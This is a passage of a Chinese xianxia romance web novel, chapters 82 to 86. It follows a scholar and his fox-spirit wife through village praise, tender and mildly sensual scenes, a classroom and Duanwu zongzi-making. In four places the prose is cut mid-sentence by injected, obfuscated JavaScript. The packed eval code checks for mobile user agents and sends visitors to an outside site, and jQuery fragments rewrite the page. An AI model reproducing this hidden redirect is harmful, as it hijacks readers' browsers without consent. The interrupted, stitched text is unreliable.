原来,当时他们也在围观的人群之中,在他们口中,陈子均是慧眼如炬,料事如神,一眼就看出那耍猴人的妖术,然后戳穿猴妖的真面目,猴妖恼羞成怒,要害陈子均的性命,结果激怒上天,一道神雷将猴妖劈成飞灰…… 这时,见到走过来的陈子均和胡翘翘,众村民都一脸激动。 “秀才公真了不起!” “嘿嘿,今日我们白崖村有光了。” “那几个孩子能得救,全亏了秀才公,真功德无量。” 又有一名妇人道,“依我看,秀才公定是文曲星君下凡,老天见你有危险,便立刻降下神雷劈死那只猴妖。” 其他人也跟着连连点头。 陈子均摆手笑道 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想要保护相公的念头战胜了害怕的本能,所以她连半分犹豫也没,就挡在了他面前,就如之前他挡在她的面前一般。 陈子均微微笑了,“原来是这样。” 这时,前面的路上出现了一个雨水积成的水洼,不是很深,但面积却不小,有四尺见方。 胡翘翘抬起小脚,犹犹豫豫。 很显然,她一步跨不过去,估计会弄脏鞋。 见状,陈子均说,“娘子,我背你过去。” 第82章 不移不变 “不重,再背一个都没有问题。”陈子均背着她,长腿轻飘飘地一迈,就跨过了水洼。 胡翘翘弯起眼,“好了,相公放我下来吧。” “不放,我要把娘子背回家。”陈子均说道。 胡翘翘吓了一跳,左右看看,发现不远处的田里还有村民在干活,顿时脸颊飞红,“……相公,有旁人呢。” “有什么关系,”陈子均背着她,沿着路往前走,笑道,“我们是夫妻,我背你走,天经地义,谁也没资格说三道四。” 胡翘翘又羞又甜,搂着他的脖子,将发烫的小脸埋在他的肩膀上。 过了一会儿,她又悄悄抬起脑袋,眸光迷离地看着陈子均的侧脸。 她好喜欢相公哦。 虽然已经过了一千多个日夜,但她对相公的喜欢没有一天减少,反而一天比一天更多、更热烈,昨天比前天更多,今天又比昨天更多,明天会比今天更多…… 只要看到相公,不,听到他的声音,不,哪怕是想起相公。 小狐妖便觉得,自己的胸口已经被无穷无尽的爱与幸福给充满,满到要爆炸一般。 她一定会喜欢相公一辈子。 而且,不光这辈子,下辈子,下下辈子……都一直一直喜欢他,爱他。 生生世世,不移不变! 胡翘翘凑到陈子均的耳边,红润娇嫩的唇轻张,暖暖柔柔的热气扑着他的耳廓。 “相公,那……你一辈子背着我,好不好呀?” 后背处传来温暖的体温,柔软的触感,陈子均看着前方两人被夕阳拉长的影子,她的和他的叠在一块儿,像是融合在了一起。 她体香沁人,她声音动人,她甜笑迷人。 “好啊,只要娘子愿意,我就一辈子背着你。” 此刻附近没人,胡翘翘快速凑近,在陈子均的脸颊上轻轻啄了一口,“翘翘当然愿意啦。” 见陈子均走得挺轻松,她也放下了心,两只小脚从裙摆下探出来,惬意地轻轻晃动,还用小手贴心地拂开几缕被晚风吹到陈子均脸上的碎发。 “相公,待会儿晚饭你想吃什么呀?” 陈子均说,“娘子做什么我吃什么。” “我今天累啦,不想做晚饭,吃些点心行不行?” “好。” 她小脚丫继续晃来晃去。 “对啦,相公刚才说,再背一个都没问题,这话是什么意思呀,难道你是想再娶一个娘子么?” “再胡说八道,我又要打你手心了。” “啊,翘翘不敢了,相公不要打哦。” “不打也行,看你乖不乖了。” 小狐狸一脸谄媚,语气甜得要滴出蜜糖来,“最乖的,翘翘天下第一乖啦,晚上我给相公按摩、捶背、敲腿,好不好?” 手指还很配合地在他的肩上轻捏了起来。 “……小马屁精,就会这招。” “相公明明很喜欢翘翘这样,还说我是马屁精,口不对心。” “……你怎么知道?” “因为,每次你的眼睛都在笑呀。” 吃过晚饭,老梧桐来找陈子均下棋了。 给陈子均和老梧桐泡了茶之后,胡翘翘便拿了些零嘴,去厢房找到小青,和她一块儿靠在床边,叽叽呱呱地聊起了今天市集中发生的事儿。 “……你知道吗,相公真的太聪明啦!他一眼就看出来了,那个耍猴的坏蛋用的是一种叫‘造’什么的妖术,把小孩子变成了猴子。” “造畜。”小青嘴皮子微动,吐出两片瓜子壳。 “对,就是这个!”小狐妖边吃着麦芽花生糖边点头,“小青你也知道?” 小青又抓了一把瓜子,懒懒地点头,“嗯,挺粗浅的一种邪派妖术,不光能把人变成猴子,也能变成羊啊、牛啊之类的动物。但碰到雨水就会失效。反正,不如咒术一根毛。” “咒术?”胡翘翘茫然。 “咒术也是妖术中的一个大类,指的是用特殊的诅咒术法,对人施以诅咒,其中也有能将人变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“相公揭露了它的阴谋,那猴妖怀恨在心,想要杀了相公!我就用卤蛋爷爷给我的雷果,一下扔过去……”胡翘翘突然心念一动:对了,今天雷果派上了大用场,但她还没感谢过卤蛋爷爷呢! 她立马跑出厢房,在院子里找到童正。 “卤蛋爷爷,今天多亏了你之前给我的雷果,”小狐妖一脸感激,“相公才没被那只可恶的猴妖给伤到,谢谢你!” 童正原本正在喝茶,差点没一口水呛死,瞥了神色如常的陈子均一眼后,才咽下茶水,含混道:“唔,不客气。” 接着,胡翘翘又在陈子均身边蹲下来,两只手巴在石桌边,大眼睛眨巴眨巴地看着老梧桐。 童正狐疑:“……你瞅着我干什么?” “那个,我只剩一颗雷果了。万一相公再遇到什么危险怎么办?只有一颗雷果,我担心保护不好他,”胡翘翘有些羞愧赧然,但为了相公,还是鼓起勇气,小声说,“我知道它很珍贵,但是……卤蛋爷爷,你能不能再给我一颗呀?” “……”童正突然有种吐血的冲动。 他九死一生地过了雷劫,才拢共凝聚出了五颗雷果,之前给了两颗,这小狐妖居然还想要! 再说了,秀才这么厉害,哪用得着你来保护啊! 这不是天大的笑话么! 不过…… 老梧桐微一转念,心中叹了口气。 也罢,自己就是留着雷果,估计以后也派不上多大用场。 当初若不是秀才出手,他也过不了雷劫。还有上次,多亏了秀才,才能解决五通娘子的事。 比起这些,区区几颗雷果,算得了什么。 老梧桐想了想,干脆把剩下的三颗雷果都拿了出来,摆在桌上,对胡翘翘道,“行了,剩下的全给你,以后别再惦记了,我可一颗都没了。” 眼不见,心不烦,全送了,更不用烦了。 小狐狸目露喜色,却还要装腔作势地推拒,“全给我?那怎么好意思呀,卤蛋爷爷,你自己多少留一颗嘛。” 童正揉着眉心,冲她挥手,“都拿去都拿去,别打扰我下棋。” “谢谢卤……童爷爷。”小狐狸立即眉开眼笑地将三颗银光闪闪的雷果放入小荷包。 本来她只想要一颗的,结果现在翻了三倍,开心~! “相公,我去修炼啦!” 她要快点变强,以后不需要雷果也可以保护相公。 下了几步,童正抬起头,看着似乎在压着唇角笑意的陈子均,突然说了句个风牛马不相及的问题,,“秀才,有件事儿我有点好奇,就是不知道该不该问。” 陈子均看了他一眼,立即猜到了什么,淡淡说,“不知道该不该问,那就别问。” “……” 这秀才怎么如此不按常理呢? 童正摇摇头,他本来是想问陈子均为什么要在小狐妖面前伪装成凡人,但看来对方是不愿意回答的了,便也不问了。 不过,秀才会出手管那个猴妖的事儿,有些出乎他的意料,但仔细一想,又没那么意外了。 接触多了,他也渐渐看出,秀才虽然有时嘴巴比石头还硬,但心却还是有几分软,并不是真正无情之人。 “离开白崖村以后,秀才准备做什么?”他下了一步,又问。 “去省城,等候八月乡试。”陈子均应了一步。 “……秀才有意科考?”童正皱了皱白眉,略有困惑地道,“你这样的人,难道还会对凡间的功名利禄感兴趣?” 陈子均如哲人般对此淡淡阐述道,“人活一世,总得什么都体验一下,不然岂不是很遗憾?” “秀才又在用空洞的大道理敷衍人了。” “哦,我忘了,你是能在白崖村一呆就是几百年不挪窝的,当然不懂这其中的乐趣所在。” “……” 一阵晚风吹了过来,老梧桐感觉心里有点凉凉的。 陈子均则是敲了下棋盘,催促道,“下快点,我要去陪娘子了。” 童正走后,陈子均等胡翘翘修炼得差不多了,在浴房中倒了烧好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892954|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的热水,泡上一些灵草,叫胡翘翘来洗澡。 如今家里多了个小青,像是用水、烧火这类的繁琐杂事就不用夫妻俩亲自动手,轻松了不少。至于小青自己,作为妖怪,她通常都是一个洁净术解决,方便快捷。 给胡翘翘洗完,他自己也洗了个澡,然后便回到卧房。 小狐妖正披着微带湿意的长发,靠坐在床沿处,小手中拿着块今天在市集里买的布,琢磨着该从哪儿动手裁剪。 她对上次的袍子不太满意,所以这次便打算先从亵衣做起,反正穿在里面,做工差一点也无伤大雅,等经验丰富一点,再给相公做外面的衣服。 刚洗过澡,她身上穿的是一套水蓝色绣芙蓉的亵衣亵裤,因为坐着的缘故,裤脚被拉升起来一些,裤口里便延伸出半截线条优美诱人,细腻白嫩的小腿。 还有悬空在床沿外的那双小脚丫,尺寸不过一手大小,完美的弧度,略显丰盈的质感,白中透粉,脚趾头晶莹如玉,时不时摆荡两下。 看着便可爱之极。 见她专注,陈子均放轻 动作,缓慢走过去,然后突然将一个小脚丫捉到手里,指尖在那温热白嫩的脚心里挠了几下。 胡翘翘猝不及防,顿时全身都麻了软了,努力想将脚往回缩,却使不上力气,只有那几个嫩藕似的脚趾头无助地蜷缩起来,喉咙里发出令人心痒的轻吟声。 “相公……你怎么……” “玩啊。” 胡翘翘小声道,“脚、脚有什么好玩的。” 天天在脏兮兮的地上踩来踩去,走多了走热了还会出汗。 陈子均用自己带着凉意的手握着那只小脚,轻柔地捏捏按按,“脚是没什么好玩的,但娘子的脚却很好玩。” 她好奇,“哪里好玩?” “因为很美,可能是读书人的怪癖吧,毕竟‘缓步金莲移小小,持杯玉笋露纤纤,’、‘新月履上足如霜、不著鸦头袜’……”陈子均悠悠道,“尤其是心爱女子的脚,便会美上加美,当然,我只喜欢娘子一人的。” 第84章 玩玩你的 听到这话,胡翘翘的脸微微有些发热,心中又很甜蜜,小声说,“既然……既然相公喜欢,那就玩吧……” 虽然这喜好有些古怪…… 小脚被相公握住把玩的感觉,也让她有些异样…… 但在她的心里,相公永远都不会错。 就算相公要对她的脚做更古怪的事,她也是完全可以接受的! 而且……小狐妖扪心自问,其实,她也很喜欢相公的脚呀! 确切地说,相公身上的每一个地方,无论是脸、肩膀、胸口、后背……甚至连他的每一寸皮肤,每一根头发丝,她都超级喜欢! 当然也包括他的手和脚啦! 唔,突然可以理解相公喜欢玩她的脚的原因啦! 胡翘翘的心中忽然冒出一个念头——她也好想像相公这样,将他的手啊,脚啊……抱在怀里、握在手中,肌肤相贴,亲密厮摩,感受着它们凉凉的温度,嗅着它们的气味……这样的亲密,会让她觉得,相公是完完全全地属于她的。 想到这里,胡翘翘突然心脏砰砰乱跳,抬头看着陈子均,软软道,“相公,我也想玩……” 陈子均一愣:“玩什么?” 小狐妖坐起来,睁着那双单纯诚挚、又妩媚如水的眼,“玩你的脚呀,唔,还有相公的手,我也想玩。” “??” 陈子均的手僵住了,大脑也僵住了。 他低头看了看自己的脚——唔,被鞋子挡住了,看不见。 于是改为看了看自己的手。 由于某些原因,他这双手的皮肤自然毫无瑕疵,无可挑剔,即便是读书人握笔过多后指腹处常生的薄茧也一点都见不着。 但作为男子之手,形状大和骨节大自然是免不了的,所以看着既不算精致,也不柔美。 不明白有什么可玩的? “……我的手和脚不好玩。” “可是翘翘不觉得。”她期盼地看着他,“相公,答应我吧?” 陈子均轻咳了一声,“这种事,太不成体统。” “为什么呀,相公说喜欢我的脚,我就让相公玩了,”胡翘翘咬着红唇,楚楚可怜地看着他,“轮到我说喜欢相公的脚,相公却不肯满足我的心愿?为何就不成体统了?” “……”陈子均无言以对。 小狐妖眼圈微红,心中真的有些酸涩了。 难道相公并不如她所想的,也一心一意地爱着她,为了她什么都愿意做么? 何况,又不是什么天大的难事,他自己不也…… 她抽抽鼻子,忍住想哭的冲动,将小脚缩回来,再抖开被子,钻进去,从头到脚蒙了个严严实实。 “那便不玩吧,翘翘要睡觉了。” “……” 陈子均去吹灭了油灯,也进了被子,躺在她的身边,然后,发现小狐狸居然破天荒地用后背对着他。 他沉默了会儿,用手指轻戳了下胡翘翘的后背,“娘子?” 胡翘翘虽然不开心,却还是舍不得不理他,闷闷地回,“嗯,相公怎么啦?” “为什么背对着我?” 以前都会把他搂得紧紧的,扒都扒不开呢。 “……那边有些落枕,所以换个方向。”拙劣的借口出现。 “落枕啊,我给你捏捏。” 陈子均伸出手,在她柔软的肩上轻捏着。 捏了会儿,将她从后面轻轻搂入怀中。 “好些没?”温柔问道。 胡翘翘忍不住了,猛地转身,扎进他怀里,圈住他脖子,可怜兮兮地控诉,“没有,相公坏,欺负我……” 陈子均无奈了,问:“真想那个啊?” “嗯。” “为什么?” “因为喜欢相公啊,所以喜欢你的手,也喜欢你的脚……” “平时你不也经常摸我的手么?” “那不一样。” “什么地方不一样?” “翘翘说不出来,反正就是不一样。” “……手也就算了,这脚多臭啊。” “不臭。”她摇头,“相公全身都特别好闻。“ “……” 陈子均沉默了,心中一边是尊严,一边是自家娘子。 激烈地天人交战。 胡翘翘等了片刻,见他一直没发声,再次垂头,恹恹道:“算啦,我知道,相公其实没那么喜欢翘翘……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892955|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈子均只能叹了口气,“真拿你没办法。” 胡翘翘一愣。 相公的这口气,是…… “……”陈子均又清了清嗓子,“今晚姑且先手吧,脚等下次再说。” 先哄一哄,反正她记性不好,没准过几天就忘到脑后了。 “嗯嗯嗯嗯。”胡翘翘眼眉微弯,甜甜地笑了起来。相公能退让一步就让她很满意了,而且相公从来没说话不算话过,“那今天便先玩相公的手。” 陈子均又叹气,“不要用‘玩’这个字眼。” 胡翘翘一脸困惑,“那用什么?” “……算了,随你。” “那,我开始玩咯。” 胡翘翘说完,便用她软软的小手,一把捉住陈子均一只大手 ,然后很认真地开始把玩。 第一步,自然是先看。 相公的手,看着比她的要大一大圈,每根手指也比她的要长出一截,粗上一些。也许是读书人不事农桑的缘故,手背的皮肤非常好,细腻光滑,几乎不逊色于她的呢。 她继续看。 相公的指甲盖莹润饱满,每个指甲都修剪得整整齐齐,指甲缝里也干干净净,连一丝污垢都没有。 不过,这样干净、整洁的一只手,却并不显得女子气般的柔弱,因为相公手指的骨节也很分明,手背上还有几根浅凸的青筋,她知道,当相公握紧手的时候,它们便会变得更明显,甚至会延伸到手腕和小臂上,光是这几根青筋,都能让她神魂颠倒啦! 看完手背,再轻轻地将手翻过来。 于是,相公的掌心便呈现在了她的眼前。 那一根根掌纹,像是被刀刻过,清晰分明,又像是一根根琴弦儿,撩拨着她的心。 她用一根手指,顺着他的掌纹轻轻抚摸,目光如痴如醉。 又想到什么,叹了口气。 “好可惜呀……” 陈子均:“什么可惜?” 胡翘翘喃喃道,“我听小青说,有些修士会相术,相术之中又包括相面与摸骨、还有看手相……厉害的,能通过一只手,便看出人一生的命运际遇。可惜我不懂,否则真想看一看,自己是相公掌心里的哪一条线……” 第85章 信仰之力(求首订) 陈子均忍不住用空着的那只手,轻摸了下她的脸,“别整天胡思乱想,快一点,很晚了。” “哦。”胡翘翘眨眨眼。 下一步是什么呢? 她思考会儿,决定先闻。 将他的手放在小鼻子前,深深地吸了一口气。 “唔,是香的!” “香?不会吧,”陈子均逗她,“我刚用它摸过你的脚,应该是你脚的气味儿。” 她摇头,“不是,和相公身上的气味一样。” 陈子均笑了。 胡翘翘抱着他的手,来回的闻。 过了好一会儿,陈子均见她还没有停下的意思,无奈道,“看也看了,摸了摸了,闻也闻了,还不够么?” 他想要抽回手,胡翘翘却不肯放。 “等会儿,还没好呢。” “还要做什么??” “我想……尝尝。” 没等陈子均反应过来,胡翘翘一低头,下一瞬,将他的手指含进。 陈子均愣了一下,接着抽了口冷气。 原来是她轻咬了一下他的手指,微微刺痛。 但随后跟着的,就是无尽的麻痒。 她缓慢而温柔打转,仿佛在品尝世上最甜的糖果。 每一次,都将最原始的悸动送到人的内心深处…… 五根手指都细细吻遍后,胡翘翘才心满意足地松开他的手。 “嘻嘻,今天先这样吧。” 以前她怎么都没发现,相公的手真的很有趣…… 不过,今天发现也不晚…… 陈子均看着她笑得甜蜜的小模样,忍不住问。 “娘子弄得我手上都是口水,怎么办?” “嘻嘻,”胡翘翘弯起眼,露出一口小白牙,“那翘翘去打水给相公洗手。” “无需,我只要将口水还给娘子。” 说完,一把扣住她的腰将她拉入怀里,另一只手抬起她下巴,低头覆唇而上。 …… 胡翘翘很快又气喘吁吁,神魂摇曳,心里迷迷糊糊地想,对了,相公的手似乎还有一种奇异之力,所过之处,就像是烧起了一团火,延到全身,让她为之颤抖,却又禁不住渴望更多…… 缠绵许久,陈子均才低声道,“好了,睡吧。” …… …… 次日,私塾。 陈子均握着书卷,正在讲课。 私塾每日的课程都不尽相同,今日,轮到讲《易》。 “……这‘易’字,由‘日’与‘月’二字组成,日为阳,月为阴,一阴一阳、阴阳共济方谓之道也。其含义又有三,分别为‘简易’、‘变易’和‘不易’。天地万物时刻都在变化,是以为‘变易’,然而宇宙虽变化不息,却又大道恒常,是以为‘不易’……” 陈子均讲了片刻,一抬眼,见所有孩子的目光全都齐刷刷地集中在他的身上,那些目光虽明亮,其内却没有半分求知若渴,倒大半是好奇与崇拜。 他停下讲解,扫一眼,又敲了敲讲台,“都认真听课,盯着我看做什么?” 等小家伙们勉强收回注意力,他才继续往下讲。 “据传,易由上古神明伏羲所创,而后,易生太极、太极生两仪、两仪生四象,四象生八卦,这便是先天八卦‘乾坤、兑离、震巽、坎艮’,仅这八卦,便足以包括天地间的万事万物,以及一切大道。至于将先天八卦两两组合,又生后天六十四卦,只能算是后人对其做的鳞角补充…” 讲到这里,陈子均再次停下。 原来孩子们依旧会偷偷摸摸地抬头看他,但许是怕他注意,每当他的视线有意无意地掠过时,他们便立即低下脑袋,佯做在认真听课。 陈子均无奈,将书卷合拢,淡淡问道:“说来听听,为何今日你们如此不专心?” 孩子们你看我我看你,个个抓耳挠腮,满眼好奇,只是碍于陈子均平时的师长威严,一时间,没人贸然开口。 终于,有个最胆大的孩子鼓起勇气。 “先生,听说你会仙术,昨日在镇上降服了一只猴妖?” 原来是为这个…… 陈子均笑了一笑,“我可不会什么仙术,那猴妖是被天雷劈的。” 见他回答,孩子们都激动了。 “先生,那猴妖有多大?” “你真的不会仙术?” “我不信,我娘说先生会仙术,”一个小家伙目光崇拜,“我娘说,她亲眼看到先生一抬手,便招下神雷,将猴妖劈成了灰烬!” 陈子均:“……” 他什么时候抬过手了? “不对,我娘说,是天上的雷神听到先生的号令,所以降下神雷,杀了那猴妖!” “我爹说先生是雷神转世!“ “才不是,我爷爷说先生是文曲星君下凡,猴妖想要伤他,自然会招天谴!” 陈子均失笑,“你们别乱说,我可不是雷神,更不是什么文曲星君。” 但他的声音,已经被孩子们的叽叽喳喳给淹没了。 “文曲星君为什么要下凡?” “先生如果是神仙,怎么会来教书?” “这你们便不懂了吧,上次 爹娘带我去镇上听说书,说神仙一旦犯了错,便要下凡历劫,这时候他们就没有神力了,必须如凡人一般的生活,等劫难结束才能重新变回去。” “文曲星君又是什么神仙?” “我知道,是最聪明的神仙!” “没错,先生定然是文曲星君,不然怎么能一眼看出那猴妖用的妖术呢?!” “哈哈,猴妖太笨了,根本骗不过先生!” “先生英勇无敌,智慧无双。” “对!” 陈子均终于没法保持平静,敲了敲桌子,“安静,继续上课。” 孩子们看着他,七嘴八舌地问。 “先生,那猴妖用的妖术叫什么?” “先生,你还知道别的妖术么?” “先生,你自己会妖术吗?” “……”陈子均点头,“会。” “啊??”小鬼们齐齐睁大眼。 “什么妖术?“ 陈子均拿起竹鞭,板着脸道,“再不读书,我便将你们一个个都变成猴子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892956|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子们反而更加嘻嘻哈哈。 “先生快变!” “对呀,先变我!” 陈子均很无奈,这时,他神念察觉到了什么,略一沉吟,见时间也快到中午,便道:“行了,都回去吃午饭吧,下午一定要专心了。” 等孩子们全都散去,他方徐徐步出了私塾,看着不远处的顾行天。 顾行天见到他,连忙恭敬地大声道:“公子。” 陈子均颔首,问道,“你怎么来了?” 顾行天挠了挠脑袋,“昨天那几名孩子的家人听说我和公子相识,便求我带他们来找你,想要当面重重酬谢公子,我是来问问公子的意思。” 他知道陈子均好静,也不喜繁文缛节,便不敢擅自答应,而是自己先来白崖村询问他的意见。 “些许小事,当面感谢就免了吧,”果然,陈子均似是对他的做法还算满意,点了下头,“你转告他们一声,只需以后多存善念,少行恶事,便是对我最好的酬谢了。” 顾行天重重点头,果然和他想的一样,公子雅量高致,救人乃为公义,而非图求厚报,又行了一礼,认真道,“我现在就回去,一定将公子的话一字不落地带到!” 他大步走到了白崖村的村口,见到了在那里等候着的柳燕梅一家人,然后,将陈子均的话原原本本地转述了一遍。 柳家人愣住了,柳父手中还捧着准备好的给陈子均的一包碎银,不可置信道:“恩公真的说,不用酬谢?” 顾行天道,“我早就说过,公子连价值几十两的棕熊都能眼皮不眨一下地送出去,怎么可能在意这些。会出手救小虎,只因为公子品性高洁,你们若用那些庸俗心思去衡量,反倒是玷污了他!” 顿了顿,他继续道,“公子说了,以后只需要我们多存善念,少行恶事,就是对他最好的酬谢了。” 柳家几人都呐呐了很久,片刻后,柳父忽然朝着白崖村的方向,拜了一拜,声音微颤地道:“回去之后,我们一家就为恩公立下长生牌位,求上天保佑恩公一生平安、长寿……” 随着其话音的落下,忽然,几丝奇异的力量从他们的体内飞出,它极其微弱,比最纤细的丝线还要细上千百倍,又无形无息,却仿佛有自主意识一般,直奔白崖村内而去! 顷刻间,它们便来到了陈子均的身边。 陈子均稍稍有些意外,抬起一根手指,这几丝奇异之力便绕着他的指尖,轻盈旋转,透明光芒闪烁,如最完美的舞者。 “居然是信仰之力……”他目光闪烁,略带意外地低喃一声。 信仰之力是修炼神道的必需品,想要凝结出神种,便需消耗不可计量的庞然的信仰之力,所以无论修正神道还是邪神道,都会千方百计发展信徒。 信徒越多,所能收获的信仰之力自然也就越多,而且只要信徒越虔诚,提供的信仰之力也会越多,甚至还能重复提供。 昨日他救下那几个孩子之时,压根没想过会获得信仰之力,只能算是无心插柳。 虽说只有寥寥数缕,对他来说,毫无用处。 但至少,不算一无所获。 陈子均笑笑,转身间,这几缕信仰之力已被他吸收入了体内。 第86章 端午来临(求订阅) 随着日子迈进五月,春光也逐渐被夏日替代。 白崖村中的麦田已经逐渐泛起了淡黄色,麦穗开始变得沉重,村边小池塘中的荷花也结出了花苞,还带着几颗小莲蓬,不过还得半个多月才能成熟。除了荷花,还有娇艳的月季、火红的石榴花,厚重如毯的绿草中那些斑斓的三色堇……四处都是怒绽的美丽,甚至比春天还要再美上几分。 端午那天私塾放假,吃过早饭,胡翘翘和陈子均从厨房端出浸泡了一晚上的糯米和粽叶,准备包粽子。 陈子均和小青都不会包粽子,好在胡翘翘去年和村里人学了,所以包粽子的重任就落在了小狐妖稚嫩的双肩上,陈子均负责给她打下手,小青则是在厨房烧水。 “相公喜欢纯糯米的清水粽子,我爱吃加了蜜枣的豆沙粽子,小青爱吃肉粽……嗯,不知道童爷爷中意什么口味,要不然,每种口味都给他拿几个去吧,还要再包一些送人……” 胡翘翘边思考着,一双小手边接过陈子均递过来的粽叶,将粽叶翻折成一个漏斗形状,然后把糯米和各种材料加进来,再把粽叶裹上。 这时,陈子均又递给她一根剪好的细棉绳,她缠好打结,一个形状还算特别标准的三角粽就做好了。 “唔,一年没包,居然也不算手生嘛!”胡翘翘弯起眼。 陈子均立即一记马屁送上,“娘子真是心灵手巧。” “嘻嘻。” 很快便包了十几个,胡翘翘很有成就感,忽地注意到什么,懊恼地敲了敲脑袋,“哎呀,忘记做标记了。” 本来两人计划用不同颜色的细棉绳来捆不同口味的粽子,方便分辨。 结果不小心忘记了,用的全是白色棉绳。 陈子均笑道,“忘了就忘了,总不能拆开重新包吧,混着吃也没事。” 胡翘翘耸起可爱的小鼻子,得意道,“不要紧,翘翘的鼻子很灵,闻一下就能分出来。” “真的假的?”陈子均随手拿起一个粽子,“那娘子说说,这是什么口味的?” 胡翘翘嗅了嗅,细抿着嘴,分辨了会儿,眼珠儿骨碌一转,“这个闻起来甜甜的,应是我最爱吃的蜜枣味儿。” “确定?” “相公不信,拆开看看。” 陈子均将那个粽子拆开,很惊讶,“真的是蜜枣粽子,娘子好厉害!我一点都闻不出来。” 胡翘翘开心得不得了,语气却很谦逊,“相公是人类,嗅觉自然不如我,闻不出来也很正常啦。” 陈子均凑过去,轻声道,“我别的闻不出,只能闻到娘子身上的香味。” 顿时,小狐妖白玉般的脸颊变成了淡粉色。 分明还没吃到那甜甜的蜜枣粽子,她的一双明眸就已经露出如含糖般的笑。 小青自厨房出来,见到的便是这一场面。 她不敢惊扰两人,又放轻脚步,悄悄退回了厨房。 胡翘翘一边继续包粽子,一边继续和陈子均闲聊着。 即便是一件最微不足道的小事,她都忍不住快乐地和陈子均分享。 只要和他一起,哪怕只是最平凡的日子,只要能和他一起分享简单的清晨和夜晚,分享单纯的幸福和快乐,分享一杯茶,一张床,还有那些毫无意义的琐碎的鸡毛蒜皮的日常小事。 对她来说,都是那么的温暖和美丽。 陈子均也很有耐心地听着,看着她脸上甜甜的笑,还有那红润的唇瓣也好像枝头的石榴花一样。心中也充满了温柔之意。 片刻后,胡翘翘又换了一个新的话题。 “对了,我们后院的栀子花开了好久都没谢,花期好长呀。” “是啊。” “也太多了,我每天戴都戴不完。”她每天还会摘几支新鲜的,插在堂屋、卧房和厢房,但那些栀子花像是永远都不会凋谢,也不会减少一样,依旧开得满满一大丛。 陈子均笑道,“多的娘子可以把它们摘下来,利用容器来蒸馏,做成栀子花露,可以洒在衣服上给衣服增添香味儿,可以用来梳头发,好几天都不会散。还可以和别的香材混在一起,做成香饼或者熏香,到时候整个家里也会一年四季香气不散。” “真的吗?”胡翘翘顿时兴趣满满。 “嗯,我在书中看到过方法,等空下来了教你。” “书里面连这个都有?” “自然。” 刚包到一半时,顾行天来了,今天是端午节,柳家人特意包了些粽子请他给陈子均送来。除了粽子之外,他还带来了两只野兔,一头野雁。 柳家人包的粽子也分甜咸两种口味,甜的有花生芝麻和红糖两种口味,咸的是蛋黄味儿,都包得十分精致。 陈子均收下了,同时将自家包的粽子拿了几个,让顾行天带回去,又询问了一下顾父的身体,顾行天连忙说他父亲吃完药之后,现在的精气神比生病之前还要健旺三分。 因是端午节,顾行天没有多留,放下东西,拿了粽子便告辞离去。 他走后,村中又陆陆续续来了不少人,都是来给陈子均送粽子的。 陈子均全都一一收了,再回赠几个。 终于,粽子包完了,这时候 胡翘翘包的也只剩下十来个,反而村民和顾行天拿来的更多,而且什么馅儿的都有,陈子均爱吃的清水粽子也有不少。 这样一来,也不用计较什么口味了,胡翘翘将粽子们拿进厨房,放进已经烧开的锅里,又加了一些水没过粽子,盖上锅盖开始煮。 要煮到粽子熟透,还得等上大半个时辰,趁这个时间,小狐妖去喂了鸡,又对着水缸施展了几次生水术——如今她已经能一口气装满小半缸的水了呢!进步神速哇! 又过了会儿,粽子煮好了,她再将粽子捞出来晾凉。 午饭吃的便是粽子,陈子均吃了两个沾白糖的清水粽子,一个蛋黄馅儿的咸粽子。胡翘翘则是吃了一个花生芝麻馅儿的粽子,香香甜甜,入口即化,挺好吃。她本来想再吃个豆沙馅的,但又觉得一个吃不完,于是选了也不知道哪家送来的清水粽,很小巧,一口一个。 小青吃了两个咸肉粽,童正也溜达过来了,他和陈子均一样,比较偏爱清水粽子,吃完又拿了几个走。 端午是一年中阳气最强旺的一天,而正午,又是端午这一天中阳气最强旺的时辰,是以午饭一吃完,胡翘翘和小青便有些精神不振,钻回了各自的房间。 陈子均到后院给了玉珠儿几个粽子,便也进了卧房。 他在书桌前坐下,又在桌上铺开一张白纸,执笔沾墨,然后开始写画着什么。 胡翘翘走到他身边,好奇地瞅去。 陈子均在画的似是一架车的图纸,而且十分仔细详尽,他不光画出了车的整体外型,还将车辕、车舆(车厢)等每个部分都分开绘制,甚至标注了具体的尺寸。 